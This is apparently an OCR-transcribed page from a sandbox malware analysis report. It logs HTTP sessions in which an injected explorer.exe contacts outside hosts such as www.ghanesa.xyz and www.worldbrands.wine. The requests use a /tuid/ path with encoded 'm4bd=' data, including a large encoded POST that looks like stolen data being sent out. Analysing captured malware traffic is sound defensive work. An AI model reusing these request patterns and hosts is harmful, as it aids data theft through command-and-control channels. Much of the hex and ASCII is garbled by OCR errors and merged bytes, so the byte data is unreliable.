47 37 6a 39 54 6¢ 6b 72 66 30 4a 31 30 53 6a 77 4c 67 4b 33 50 71 72 7e 41 34 53 4f 7a 43 75 62 6b 44 50 4a 2d 57 48
49 36 75 70 44 73 31 47 4e 35 4d 6d 65 4a 41 79 7a 6a 68 6e 66 75 77 39 31 55 34 78 74 6a 66 6a 42 4c 65 70 68 59 46
77 66 62 62 63 59 73 4e 47 34 6e 69 35 4f 44 63 36 79 56 49 6b 66 76 36 5a 76 6e 79 35 47 64 36 6b 78 30 45 30 28 61
7976 57 4f 71 48 41 68 54 74 44 51 38 46 4d 76 77 67 66 45 6b 7a 43 79 69 2d 4d 4e 33 63 46 30 59 56 71 5a 44 73 4c
63 36 69 59 38 78 39 48 32 64 69 6¢ 56 47 6b 71 74 55 49 6f 76 52 75 4f 42 62 70 51 79 35 43 61 54 57 79 4e 77 46 58
74 4c 4e 51 36 70 42 71 70 78 4a 54 6a 56 38 7a 54 65 31 57 37 7a 6d 6d 73 59 62 63 30 72 47 6d 44 66 4e 70 66 4b 4b
5252 7a 4e 63 32 65 7e 63 46 64 72 71 52 33 66 49 70 34 4f 63 34 63 72 74 6b 71 78 48 71 48 72 4e 68 63 45 33 76 36
51 33 65 7531 36 65 4e 6e 63 4a 52 7e 7532 41 74 46 51 68 35 32 38 39 64 57 45 61 61 6b 68 52 31 33 28 67 4e 44 62
55 7a 53 77 4d 5a 4f 54 33 62 39 73 2d 6b 46 36 66 75 5a 57 53 54 4d 4b 55 6¢ 59 4a 66 58 6b 5a 72 71 37 44 64 74 65
4a 4e 6e 47 35 72 4c 64 6d 33 72 64 43 41 62 6¢ 75 34 74 44 4d 57 50 4e 39 57 6b 39 6d 7a 39 59 53 73 59 61 72 31 66
68 59 58 51 63 69 65 36 73 28 37 51 44 56 64 54 48 54 65 36 35 6b 6d 58 39 7e 4c 77 79 43 35 47 7a 38 50 46 6e 62 57
6¢ 30 6a 70 64 61 4a 5f 79 4b 67 77 64 50 46 75 75 43 61 6f 34 5a 62 4a 4d 34 4f 38 28 6b 48 45 68 74 50 43 42 49 7a
6d 42 41 63 4d 61 56 42 61 6d 4e 67 61 34 56 57 38 63 52 61 4f 64 39 55 6d 6b 53 65 5a 67 59 55 39 58 79 72 53 76 62
54 4f 38 6a 35 4d 4f 71 63 7a 37 4a 50 79 32 30 62 6f 39 6d 75 35 79 61 34 45 67 49 34 72 39 58 65 72 4f 6a 46 6e 79 58
6f 5f 61 46 75 6f 78 37 64 79 56 2d 4f 31 4b 52 4a 75 37 64 53 63 68 31 48 52 5a 31 79 4b 79 58 31 32 58 67 53 75 6f 45
38 6a 4e 58 54 5f 32 42 72 77 76 59 6f 49 48 70 35 48 43 6b 7a 4b 47 2d 50 33 51 32 56 78 78 6e 57 36 36 33 72 39 64
707a 7072 3562 67 76 64 58

Data Ascii: m4bd=TLMellhEtscc(6thYoeaq6q9eP12jtWbp8HRmMAH(Xli~4zl~cGdBdIWsTeHK1dgHEIKkStwf
pGWId~OmFLeoouiED6jkpOKNnLbi0O6dYsglGy~kDr3aDTdR1Kfe8BADHVOEBdchC1MUBADITqJSdEROk5SmXrCPgVVcKZ
VkRg4Fqgxe(ZV711jUFvDL65ChYtFFURA5b0aQLZabGn9WIWN3UBwW872vs(G9-3AapfAvhhglyjWnQniS9TmPuftNOn
OACbCSE6WtOMmDQ8z8cRYc8ujHIHsz3ViiEI(91e07GT~49vA_EeWG7j9TIkrf0J10SjwLgK3Pqr~A4SOzCubkDPJ-W
HI6upDs1GN5MmeJAyzjhnfuw91U4xtjfiBLephYFwfbbcYsNG4ni50Dc6yVIkiv6Zvny5Gd6kx0OEO0(ayvWOQqHAhTD
Q8FMvwgfEkzCyi-MN3cF0YVqZDsLc6iY8x9IH2dilVGkqtUlovRUOBbpQy5CaTWyNwFXILNQ6EpBqpxJTjV8zTelW7zm
msYbcOrGmDfNpfKKRRzNc2e~cFdrqR3flp4Oc4crtkgxHgHrNhcE3v6Q3eul6eNncJR~u2AtFQh5289dWEaakhR13(
gNDbUzSWMZOT3b9s-kF6fuZWSTMKUIY JfXkZrq7Ddte INNG5rLdm3rdCAblu4tDMWPNIWkImMz9Y SsYarlfhYXQcie6
s(7QDVdTHTe65kmX9~LwyC5Gz8PFnbWIOjpdal_yKgwdPFuuCao4ZbJM408(kHEhtPCBIzmBAcMaVBamNga4VW8cRa
0d9UmkSeZgYU9XyrSvbTO8j5MOqcz7JPy20bo9mubyadEgl4r9XerOjFnyXo_aFuox7dyV-O1KRJu7dSch1HRZ1yKy
X12XgSuoE8jNXT_2BrwvYolHp5HCkzKG-P3Q2VxxnW663r9dpzprsbgvdX

HTTP/1.1 301 Moved Permanently

Connection: close

content-type: text/html

content-length: 707

date: Mon, 08 Aug 2022 15:44:58 GMT

server: LiteSpeed

location: https://www.ghanesa.xyz/tuid/

Data Raw: 3¢ 21 44 4f 43 54 59 50 45 20 68 74 6d 6¢ 3e Oa 3c 68 74 6d 6¢ 20 73 74 79 6¢ 65 3d 22 68 65 69 67 68 74 3a
3130 30 25 22 3e 0a 3c 68 65 61 64 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e
74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6¢ 2d 73 63 61 6¢C 65
3d 31 2c 20 73 68 72 69 6e 6b 2d 74 6f 2d 66 69 74 3d 6e 6f 22 20 2f 3e 0a 3c 74 69 74 6¢ 65 3e 20 33 30 31 20 4d 6f 76
65 64 20 50 65 72 6d 61 6e 65 6e 74 6¢ 79 0d Oa 3c 2f 74 69 74 6¢ 65 3e 3c 2f 68 65 61 64 3e Oa 3¢ 62 6f 64 79 20 73 74
79 6¢ 65 3d 22 63 6f 6¢ 6f 72 3a 20 23 34 34 34 3b 20 6d 61 72 67 69 6e 3a 30 3b 66 6f 6e 74 3a 20 6e 6f 72 6d 61 6¢ 20
313470 78 2f3230 70 78 20 41 72 69 61 6¢ 2¢ 20 48 65 6¢C 76 65 74 69 63 61 2¢ 20 73 61 6e 73 2d 73 65 72 69 66 3b 2
0686569 67 68 74 3a 31 30 30 25 3b 20 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6¢ 6f 72 3a 20 23 66 66 66 3b 22 3e Oa
3c 64 69 76 20 73 74 79 6¢ 65 3d 22 68 65 69 67 68 74 3a 61 75 74 6f 3b 20 6d 69 6e 2d 68 65 69 67 68 74 3a 31 30 30
25 3b 20 22 3e 20 20 20 20 20 3c 64 69 76 20 73 74 79 6¢ 65 3d 22 74 65 78 74 2d 61 6¢ 69 67 6e 3a 20 63 65 6e 74 65
72 3b 20 77 69 64 74 68 3a 38 30 30 70 78 3b 20 6d 61 72 67 69 6e 2d 6¢ 65 66 74 3a 20 2d 34 30 30 70 78 3b 20 70 6f
73 69 74 69 6f 6e 3a 61 62 73 6f 6¢ 75 74 65 3b 20 74 6f 70 3a 20 33 30 25 3b 20 6¢ 65 66 74 3a 35 30 25 3b 22 3e Oa 20
20 20 20 20 20 20 20 3c 68 31 20 73 74 79 6¢ 65 3d 22 6d 61 72 67 69 6e 3a 30 3b 20 66 6f 6e 74 2d 73 69 7a 65 3a 31
3530 70 78 3b 20 6¢ 69 6e 65 2d 68 65 69 67 68 74 3a 31 35 30 70 78 3b 20 66 6f 6e 74 2d 77 65 69 67 68 74 3a 62 6f
6¢C 64 3b 22 3e 33 30 31 3c 2f 68 31 3e 0a 3c 68 32 20 73 74 79 6¢ 65 3d 22 6d 61 72 67 69 6e 2d 74 6f 70 3a 32 30 70
78 3b 66 6f 6e 74 2d 73 69 7a 65 3a 20 33 30 70 78 3b 22 3e 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6¢ 79 0d Oa
3c 2f 68 32 3e 0a 3c 70 3e 54 68 65 20 64 6f 63 75 6d 65 6e 74 20 68 61 73 20 62 65 65 6e 20 70 65 72 6d 61 6€ 65 6e
74 6¢ 79 20 6d 6f 76 65 64 2e 3c 2f 70 3e Oa 3c 2f 64 69 76 3e 3c 2f 64 69 76 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6¢ 3e
Oa

Data Ascii: <IDOCTYPE html><html style="height:100%"><head><meta name="viewport" content="width=device-width,
initial-scale=1, shrink-to-fit=no" /><title> 301 Moved Permanently</title></head><body style="color: #444; margin:0;font:
normal 14px/20px Arial, Helvetica, sans-serif; height:100%; background-color: #fff;"><div style="height:auto; min-heig
ht:100%; ">  <div style="text-align: center; width:800px; margin-left: -400px; position:absolute; top: 30%; left:50%;">

<h1 style="margin:0; font-size:150pXx; line-height:150pXx; font-weight:bold;">301</h1><h2 style="margin-top:20px;font-size:
30px;">Moved Permanently</h2><p>The document has been permanently moved.</p></div></div></body></html|>

Destination IP Destination Port Process

89.46.108.25 80 C:\Windows\explorer.exe
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Timestamp

Session ID

61

Timestamp

Session ID

62

Timestamp

Session ID

63

Timestamp

Session ID

7

Timestamp

Aug 8, 2022
17:44:58.995606899
CEST

Aug 8, 2022
17:44:59.156675100
CEST

kBytes
transferred

Source IP

192.168.11.20

kBytes
transferred

Source IP

192.168.11.20

kBytes
transferred

Source IP

192.168.11.20

kBytes
transferred

Source IP

192.168.11.20

kBytes
transferred

688

693

Copyright Joe Security LLC 2022

Direction

Source Port

49839

Direction

Source Port

49842

Direction

Source Port

49843

Direction

Source Port

49762

Direction

ouT

Data

Destination IP Destination Port Process

188.114.96.3 80 C:\Windows\explorer.exe
Data

Destination IP Destination Port Process

217.21.87.131 80 C:\Windows\explorer.exe
Data

Destination IP Destination Port Process

142.250.185.179 80 C:\Windows\explorer.exe
Data

Destination IP Destination Port Process

103.150.61.226 80 C:\Windows\explorer.exe
Data

GET /tuid/?M8s=w86DJpgx5FYIUfRP&m4bd=cJ4k7DdOtY QngKRIFYZz9xfmhcqtlvpGag5+jixf523tlwbXsspzXR
N0201TtG1INQJ3tW HTTP/1.1

Host: www.ghanesa.xyz

Connection: close

Data Raw: 00 00 00 00 00 00 00

Data Ascii:

HTTP/1.1 301 Moved Permanently

Connection: close

content-type: text/html

content-length: 707

date: Mon, 08 Aug 2022 15:44:59 GMT

server: LiteSpeed

location: https://www.ghanesa.xyz/tuid/?M8s=w86DJpgx5F YIUfRP&m4bd=cJ4k7DdOtY QngKRIFYz9xfmhcqtlvpGas5
+jixf523tlwbXsspzXRN0201TtG1INgJ3tW

Data Raw: 3¢ 21 44 4f 43 54 59 50 45 20 68 74 6d 6¢ 3e Oa 3c 68 74 6d 6¢ 20 73 74 79 6¢ 65 3d 22 68 65 69 67 68 74 3a
3130 30 25 22 3e 0a 3c 68 65 61 64 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e
74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6¢ 2d 73 63 61 6¢C 65
3d 31 2c 20 73 68 72 69 6e 6b 2d 74 6f 2d 66 69 74 3d 6e 6f 22 20 2f 3e 0a 3c 74 69 74 6¢ 65 3e 20 33 30 31 20 4d 6f 76
65 64 20 50 65 72 6d 61 6e 65 6e 74 6¢ 79 0d Oa 3c 2f 74 69 74 6¢ 65 3e 3c 2f 68 65 61 64 3e Oa 3c 62 6f 64 79 20 73 74
79 6¢ 65 3d 22 63 6f 6¢ 6f 72 3a 20 23 34 34 34 3b 20 6d 61 72 67 69 6e 3a 30 3b 66 6f 6e 74 3a 20 6e 6f 72 6d 61 6¢ 20
313470 782f3230 70 78 20 41 72 69 61 6¢ 2 20 48 65 6¢ 76 65 74 69 63 61 2¢ 20 73 61 6e 73 2d 73 65 72 69 66 3b 2
068 65 69 67 68 74 3a 31 30 30 25 3b 20 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6¢ 6f 72 3a 20 23 66 66 66 3b 22 3e Oa
3c 64 69 76 20 73 74 79 6¢ 65 3d 22 68 65 69 67 68 74 3a 61 75 74 6f 3b 20 6d 69 6e 2d 68 65 69 67 68 74 3a 31 30 30
25 3b 20 22 3e 20 20 20 20 20 3c 64 69 76 20 73 74 79 6¢ 65 3d 22 74 65 78 74 2d 61 6¢ 69 67 6e 3a 20 63 65 6e 74 65
72 3b 20 77 69 64 74 68 3a 38 30 30 70 78 3b 20 6d 61 72 67 69 6e 2d 6¢ 65 66 74 3a 20 2d 34 30 30 70 78 3b 20 70 6f
73 69 74 69 6f 6e 3a 61 62 73 6f 6¢ 75 74 65 3b 20 74 6f 70 3a 20 33 30 25 3b 20 6¢ 65 66 74 3a 35 30 25 3b 22 3e Oa 20
20 20 20 20 20 20 20 3c 68 31 20 73 74 79 6¢ 65 3d 22 6d 61 72 67 69 6e 3a 30 3b 20 66 6f 6e 74 2d 73 69 7a 65 3a 31
3530 70 78 3b 20 6¢ 69 6e 65 2d 68 65 69 67 68 74 3a 31 35 30 70 78 3b 20 66 6f 6e 74 2d 77 65 69 67 68 74 3a 62 6f
6¢ 64 3b 22 3e 33 30 31 3c 2f 68 31 3e 0a 3c 68 32 20 73 74 79 6¢ 65 3d 22 6d 61 72 67 69 6e 2d 74 6f 70 3a 32 30 70
78 3b 66 6f 6e 74 2d 73 69 7a 65 3a 20 33 30 70 78 3b 22 3e 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6¢ 79 0d Oa
3c 2f 68 32 3e 0a 3c 70 3e 54 68 65 20 64 6f 63 75 6d 65 6e 74 20 68 61 73 20 62 65 65 6e 20 70 65 72 6d 61 6€ 65 6e
74 6¢ 79 20 6d 6f 76 65 64 2e 3c 2f 70 3e Oa 3c 2f 64 69 76 3e 3c 2f 64 69 76 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6¢ 3e
Oa

Data Ascii: <IDOCTYPE html><html style="height:100%"><head><meta name="viewport" content="width=device-width,
initial-scale=1, shrink-to-fit=no" /><title> 301 Moved Permanently</title></head><body style="color: #444; margin:0;font:
normal 14px/20px Arial, Helvetica, sans-serif; height:100%; background-color: #fff;"><div style="height:auto; min-heig
ht:100%; ">  <div style="text-align: center; width:800px; margin-left: -400px; position:absolute; top: 30%; left:50%;">

<h1 style="margin:0; font-size:150pXx; line-height:150pXx; font-weight:bold;">301</h1><h2 style="margin-top:20px;font-size:
30px;">Moved Permanently</h2><p>The document has been permanently moved.</p></div></div></body></html|>

Page 68 of 90



Session ID Source IP Source Port
8 192.168.11.20 49763
kByt:
Timestamp yies Direction
transferred
Aug 8, 2022 697 ouT
17:45:09.673453093
CEST

Copyright Joe Security LLC 2022

81.95.96.29 80

Destination IP Destination Port Process

C:\Windows\explorer.exe

Data

POST /tuid/ HTTP/1.1

Host: www.worldbrands.wine

Connection: close

Content-Length: 174830

Cache-Control: no-cache

Origin: http://www.worldbrands.wine

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko

Content-Type: application/x-www-form-urlencoded

Accept: */*

Referer: http://www.worldbrands.wine/tuid/

Accept-Language: en-US

Accept-Encoding: gzip, deflate

Data Raw: 6d 34 62 64 3d 48 6e 44 78 77 7a 4c 64 36 51 65 59 55 57 33 67 32 6¢ 4b 4f 38 55 48 46 61 43 57 67 49 62 6b
31 4a 64 44 62 51 5a 6f 44 66 35 69 74 32 55 53 77 28 59 76 61 79 6¢ 30 6a 57 42 4c 44 39 7a 7a 59 49 50 66 33 64 47
77 3253 48 59 5a 79 5f 7e 58 47 65 6¢ 48 4c 49 75 61 39 45 4b 70 4a 4e 63 56 39 2d 79 37 73 50 50 2d 45 43 4f 4a 67
67 67 6f 7a 47 43 4a 4b 63 71 43 56 43 5a 32 72 4f 75 4b 69 75 6a 55 59 32 4d 6f 69 58 74 66 37 66 59 52 69 56 74 55 7
4 39 61 76 6e 76 6f 4f 6f 4d 53 6b 78 5f 75 6b 46 49 7e 30 75 55 7e 46 72 47 6e 78 69 72 78 2d 75 30 51 67 50 46 73 71
52 58 34 66 79 6d 73 6a 56 44 59 6¢ 30 6e 64 76 65 57 7e 69 37 69 35 7a 73 75 42 72 4c 65 39 74 49 35 78 6a 35 75 76
68 7e 42 70 54 44 65 6e 4d 74 66 6d 38 56 37 4c 53 61 34 65 2d 74 48 46 78 68 32 36 46 4c 32 71 78 6a 30 56 66 79 6f
69 32 63 74 52 4c 56 57 55 73 69 43 32 75 7a 36 70 50 74 4e 32 38 7e 31 45 6b 4f 64 34 44 58 79 6b 66 49 30 6¢ 30 57
6f 43 4e 75 44 63 4c 37 45 71 2d 5a 72 78 5f 42 6f 72 63 73 4c 38 54 7e 2d 7e 32 73 6d 67 38 36 51 63 70 54 57 6d 4d
47 55 30 6a 6f 79 7e 4f 42 69 79 61 55 37 5a 5a 65 5f 41 53 68 39 79 70 69 67 42 53 58 4a 71 58 75 47 6b 68 6b 56 4a
4c 7554 32 75 43 4e 64 55 77 44 66 49 56 6a 4f 41 69 38 30 65 53 47 30 42 67 33 4a 30 43 48 46 49 4f 45 62 4f 65 51 4f
69 62 4c 61 6f 54 67 63 30 62 7a 4d 35 67 67 36 69 39 63 43 2d 45 41 67 73 33 48 76 4c 41 4d 67 32 43 5f 32 42 38 6d
3367 4263 7a69 3550 53 59 6d 57 48 51 34 51 34 7a 47 47 58 75 30 35 31 52 42 63 33 62 67 58 38 4f 6¢ 46 6¢ 42 31
67 6d 6d 4c 5f 75 7a 45 68 50 61 51 66 4c 4b 39 45 73 6d 71 35 56 66 68 58 52 46 43 74 5a 55 4f 69 39 67 6b 2d 76 64
7a 5255 75 44 56 42 79 70 4d 7a 5f 75 5f 78 68 35 63 6a 71 30 66 59 77 62 45 59 44 73 4b 49 68 78 38 64 51 33 34 34
36 6f 53 58 32 45 64 33 33 55 33 4¢ 30 70 79 67 75 6b 5f 76 49 79 68 4c 41 7e 34 68 75 44 53 78 75 36 69 58 71 56 36 4
5 5f 30 50 4d 48 72 4f 39 49 50 41 4e 2d 4f 52 4b 67 4e 35 45 6a 4c 73 51 45 43 6d 53 74 73 6¢ 62 62 45 72 4f 74 50 49 7
3 4d 46 53 50 6b 79 38 75 47 63 68 4c 56 42 64 37 61 53 52 28 33 62 70 47 33 69 36 66 68 6a 42 57 58 61 61 53 69 57
70 76 57 6e 4a 54 6a 56 77 51 56 4b 54 43 65 67 53 33 32 31 4a 39 75 33 4a 5a 68 6¢ 64 7e 59 64 4d 45 47 37 4a 61 50
68 7a 49 46 38 35 4a 37 43 55 67 61 77 72 34 4e 57 37 61 44 76 49 6d 53 63 6d 58 4e 51 35 4b 56 58 65 67 55 67 69 49
37 6f 6d 50 4c 75 66 59 54 7a 36 38 47 71 54 6¢ 6¢ 61 62 4e 64 38 61 5a 6d 7e 6¢ 62 50 35 4a 63 73 66 53 72 55 53 56
31 6¢c 4e 57 48 33 63 74 55 69 78 30 4e 73 43 53 4f 64 64 6d 73 75 42 66 47 36 68 61 69 4a 77 4b 64 77 58 58 59 68 4d
42 5a 61 70 68 4b 56 59 57 74 4b 79 75 46 55 50 59 69 6¢ 53 5a 36 68 39 2d 65 4b 54 62 65 4b 74 50 42 61 50 77 63 72
65 51 4d 6¢ 37 58 70 55 71 63 72 42 67 6b 69 64 74 76 43 7a 6a 59 65 7a 6d 7551 4e 75 43 71 76 6d 67 72 49 6a 4e 66
34 31 3562 7a 78 33 58 59 6a 4b 67 6e 34 57 65 37 55 62 4a 54 77 41 61 5f 44 32 51 76 37 64 61 58 46 54 50 41 75 38
6f 6¢ 68 78 53 49 39 62 36 76 4a 73 7e 57 5a 32 7a 41 62 5f 46 41 4b 47 54 4a 30 71 39 6e 7a 4b 52 79 79 76 48 72 68
34 48 68 36 44 49 54 57 44 42 43 73 42 75 55 73 42 67 33 77 5a 78 38 58 4c 52 30 4d 72 36 64 49 53 4a 43 73 6a 38 56
49 31 4f 66 61 66 74 5f 7e 63 31 78 68 5a 4e 75 34 4d 6e 5f 50 6d 35 67 68 45 4c 67 6b 32 70 4f 6a 71 4e 67 42 6d 41 42
4Af 7a 69 68 47 49 72 30 28 77 45 75 31 6a 6a 4d 78 78 64 4e 57 57 30 68 63 57 32 31 55 4e 5a 5f 31 44 76 55 6e 36 31
4130 39 43 6d 47 69 64 48 30 35 28 69 58 69 30 54 6e 65 59 7a 56 51 65 50 41 7a 4d 34 4f 76 7e 79 37 78 78 35 32 4e
66 30 65 72 4d 7a 28 36 33 69 67 58 42 35 31 35 47 72 55 52 4a 54 77 79 31 47 4a 56 68 57 77 5f 39 75 63 6b 30 74 47
57 46 7a 4c 54 6d 33 78 44 6e 4e 5a 6b 4c 31 43 65 39 62 54 66 54 78 5a 34 43 75 36 6a 57 50 6a 6b 61 42 75 6b 68 58
74 4e 39 36 65 75 52 4f 6f 48 30 33 54 39 75 59 52 70 58 65 4b 78 6a 6b 7e 52 75 4b 7e 52 47 5f 33 45 67 47 7e 56 31
61 64 64 70 68 36 46 41 4f 76 55 30 41 6e 44 34 69 31 6f 49 6a 41 7a 79 56 6e 50 49 6e 6a 67 32 5a 67 65 71 71 70 30
30 39 4e 70 62 37 67 48 4a 73 45 6b 67 79 30 35 31 46 78 62 37 4b 67 38 74 49 4b 4e 4c 61 7e 6¢ 6e 64 46 32

Data Ascii: m4bd=HnDxwzLd6QeYUW3g2|KO8UHFaCWglbk1JdDbQZoDf5it2USw(Yvayl0jWBLD9zzYIPf3dGw2S

HYZy ~XGelHLIua9EKpJNcV9-y7sPP-EC0JgggozGCJIKcqCVCZ2rOuKiujuY 2MoiXtf7fY RiVtUt9avnvoOoMSkx_u
kFI~0uU~FrGnxirx-u0QgPFsqRX4fymsjVDYI0ndveW~i7i5zsuBrLe9tI5xj5uvh~BpTDenMtfm8V7L Sade-tHFxh26 FL2gxj0V
fyoi2ctRLVWUsiC2uz6pPtN28~1EkOd4DXykflOl0OWoCNuDcL7Eq-Zrx_BorcsL8T~-~2smg86QcpTWmMGUOjoy~OB
iyaU7ZZe_ASh9ypigBSXJIgXuGkhkVJILuT2uCNdUwDfIVjOAi80eSG0OBg3JOCHFIOEbOeQOibLaoTgcObzM5gg6i9cC-
EAgs3HVLAMg2C_2B8m3gBczi5PSYmMWHQ4Q4zGGXu051RBc3bgX80IFIBlgmmL_uzEhPaQfLK9Esmg5V
fhXRFCtZUOIi9gk-vdzRUUDVBYpMz_u_xh5cjgOfYwbEYDsKlhx8dQ34460SX2Ed33U3L0pyguk_vlyhLA~4huDSxu6
iXqV6E_OPMHrO9IPAN-ORKgN5EjLsQECMStsIbbErOtPIsMFSPky8uGchLVBd7aSR(3bpG3i6fhjBWXaaSiwpvWndT
JVWQVKTCegS321J9u3JZhld~YdMEG7JaPhzIF85J7CUgawr4dNW7aDvimScmXNQ5KVXegUgil7omPLufY Tz68GqTlla
bNd8azZm-~IbP5JcsfSrUSV1INWH3ctUixONsCSOddmsuBfG6hailwKdwXXYhMBZaphKVYWtKyuFUPYilSZ6h9-eKThe
KtPBaPwcreQMI7XpUqcrBgkidtvCzjYezmuQNuCqvmgrljNf415bzx3XYjKgn4We7UbJTwAa_D2Qv7daXFTPAu8olh
xSI9b6vIs~WZ2zAb_FAKGTJI0q9nzKRyyvHrh4Hh6DITWDBCsBuUsBg3wZx8XLROMr6dISJICsj8VI10faft_~c1xhZN
udMn_Pm5ghELgk2pOjgNgBmABOzihGIrO(WEuU1jjMxxdNWWOhcW21UNZ_1DvUn61A09CmMGIdHO5(iXi0TneYzVQePA
ZM40v~y7xx52Nf0erMz(63igXB515GrURITwy1GIVhWw_9uckOtGWFzLTm3XxDnNZKkL1Ce9bTfTxZ4Cu6jWPjkaBukh
XtN96euRO0HO03T9uYRpXeKxjk~RuK~RG_3EgG~V1addph6FAOVUOAND4il0ljAzyVnPInjg2Zgeqqp009Npb7gHJISE
kgy051Fxb7Kg8tIKNLa~IndF2x7vQ9FZfDRusO605cg5eQrXI5Tawl5rvLgASPpboNWGIBRcwlj90cDMnx75VM2TW2
BU_ZGvBo0STyFz_VO23EtWCCpgeAiVegYXG8IY 1uLafltlzL 6vynJuELI(QAdT1ix2xG1uXiBOLSZHK8y3FXYcPgdE
Hi3MJIw222F1119N~0~P25(0bBeW36kEqF7piHcCA5Q3xZOGghjviwEfyNmcPGOhavTug-dOlURzLenPFa4NTJIfvr3
2SPnMG_laEDgVdyg-9VvuC1s2PkOPh16Kp9Tc(myflémrx8sPelaHX2a3UxpNJHf32X4xPfcCgxMmg6PF6DeqFpv5n
RJIDOFYtSKHXEdKZupbbRwyj3M~V8jFrEWULXSRbD7JIr-JUXKjf0igtFVHUOcp0Z8sMqdRIC3uXExaUjg2Weh~NPwT
IpA61Y_3gBOBoIxK-Ng4ckoOeMBGYkedLZEMIINA22K (cO3eoRPfLOWZH8v8cl4HJjuwKlIfeZshKZ1YQGLLE6NOw-u
2qooWPO8C8ziOFuiLQYxhU9ntcU9nbHxQv2xcUnZ1KIUaeaBZKB(I6 C1Efjd0ltSgoEmOrlaXqK3Aj3hn73VVolj8t
ZABEH~fUQ2MI8JYAb3pktU8YFWJIYRO0CiXWIQMNrYDYCprd5SPyTEKMD7EvVS03AAURJcnDPJQBaWAsid
GePs4CRXGGzbo9gv_AcNYflk8oMSjsZqlp3638mg3xCo6e0QVFtyChdOVTTctkcBee64Xz1GSAejVwX(j(kJc(ifWa
yHferz32iJplypG~iPQpG9s(e9SZh3v56M5i8yp5Nip~CPFFjY9exrbalgNvePJwSvIARt_D9fDtBaZcD82y88QQ7W
MVvKaDp6bdgqOjPa7PZSbZX8UF8QCIVyWIaUkB7PGI
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kBytes

Timestamp T Direction
Aug 8, 2022 896 IN
17:45:09.767025948
CEST
Session ID Source IP Source Port
9 192.168.11.20 49764

. kBytes . .
Tim m Direction

estamp transferred ECto

Aug 8, 2022 735 ouT
17:45:09.694921970
CEST

Copyright Joe Security LLC 2022

81.95.96.29 80

Data

HTTP/1.1 200 OK

Date: Mon, 08 Aug 2022 15:45:09 GMT

Server: Apache/2.4.25 (Debian)

Vary: Accept-Encoding

Content-Encoding: gzip

Content-Length: 4961

Connection: close

Content-Type: text/html; charset=UTF-8

Data Raw: 1f 8b 08 00 00 00 00 00 00 03 ed 5¢ cd 73 1b b7 92 3f cb 7f 05 42 97 63 bb 56 €0 97 a8 cf 48 ca 3a b6 f3 9e d7
f1c7 46 de a4 36 17 17 38 03 92 10 67 80 79 c0 Oc 25 2a cf {7 {7 aa d6 7 cd fa b2 3a fa e0 ca 61 6f af ea e5 42 e9 ff da
6e 60 66 38 43 8d 24 52 96 5d 76 25 4e 28 ce 60 80 ee 06 dO fd eb 6e 00 c3 ed 41 1c 06 bb 37 6e 6¢ 0f 38 f3 77 6f 2c 6d
7799 el 64 a0 79 6f a7 d6 a8 61 41 c8 63 46 bc 01 d3 86 c7 3b b5 24 ee d1 0d 28 87 07 b1 88 03 be 7b ef fe 8b 47 3f 3¢
24 ed ce 3231 755d 57 f5 ed 86 7b 70 23 6b 2b 59 c8 77 6a 23 c1 0f 22 a5 e3 1a f1 94 8c b9 04 5a 07 c2 8f 07 3b 3e 1f
09 8f 53 7b b3 4c 84 14 b1 60 01 35 1e Ob f8 4e 6b 2a 81 a3 f2 98 8f 0f 94 f6 4d 81 ca 6¢ 95 07 dc 78 5a 44 b1 50 b2 50
eb 8¢ 98 b3 cd ee 25 f1 40 €9 45 5a 3¢ 3b 90 fc c2 06 c4 8d d3 17 94 92 1e 83 4e 2a 49 4c cc 74 4c 28 45 52 81 90 43 a2
79 b0 53 63 51 14 70 1a ab ¢4 1b 50 ac 56 23 46 1c 71 b3 53 5b 5d 3f 5¢c 5d af a5 d3 31 88 e3 c8 6¢ 35 1a fd 44 d4 99 17
8b 11 6f 77 ea de 51 43 84 fd 06 b6 6a 38 32 78 49 6d c3 7a 24 fb b5 39 39 ad 35 0f d7 9a 57 el 64 1b 2e c2 69 bd 7d b8
de be 0a 27 db 70 21 4e 6b 87 eb 6b 57 €2 84 0d 17 el d4 6a 75 Oe el 73 15 5e 69 d3 85 b8 b5 9b 87 fO b9 12 37 d7 74
21 6e 1d 10 b0 73 b5 be b9 a6 0b 71 5b 6d 1f c2 e7 4a dc 5¢ d3 85 b8 6d cO 70 6¢ 5¢ 6d 24 5d d3 Oa 6e 8e 43 3c 8e 00
2344 c8 fabc 81 75 72 96 9b 20 e5 €6 02 1d 94 be 56 c2 4f 99 ba c6 Ob 33 5d 69 1f ae cc cf 32 05 2b 6a 5b 2d cc 6b 73
ed 70 73 7e ab cb 78 d9 56 8b 0f e6 da 61 6b 71 5e b6 55 ce ab 80 e8 al c1 09 16 le 43 e7 41 5f 88 80 df 57 41 c9 29 dc
ec d9 7f 97 37 7c 84 b2 16 1a 5e 2a 5¢c 68 aa 6d a6 c0 25 1le f0 90 53 ef 02 91 a6 €3 66 €2 71 c0 cd 80 f3 f8 b2 el 09 44
57 33 3d 6e 58 ea 8d 41 d4 5a 6b d8 c6 75 cf 98 b9 89 1e 1c 1c 94 88 42 5b af c1 da ad 46 c8 84 ac 43 23 f3 f5 68 a7 db
6¢c af ad 79 9d 8d ce 4a 7b b5 d3 6¢ 75 36 fc 5 f5 1e 5f ef ad 37 37 37 5b ab 2b 9b 17 70 73 0a 10 f3 ¢3 18 49 67 dc 1b 40
fe d0 f3 65 bd ab 54 6¢ 62 cd 22 bc f1 54 d8 e8 c1 e8 50 76 c0 8d 82 3e 75 ea 2b f5 26 b6 2b 15 d7 43 90 Oc 89 dd 58 5a
0a b9 2f 18 €0 44 10 a0 Oc 84 2c¢ 24 ¢5 79 03 8b Oc 03 30 5f 21 fb €9 58 42 {7 2c 39 €0 b1l f4 af 22 c4 70 88 24 3a b8 93
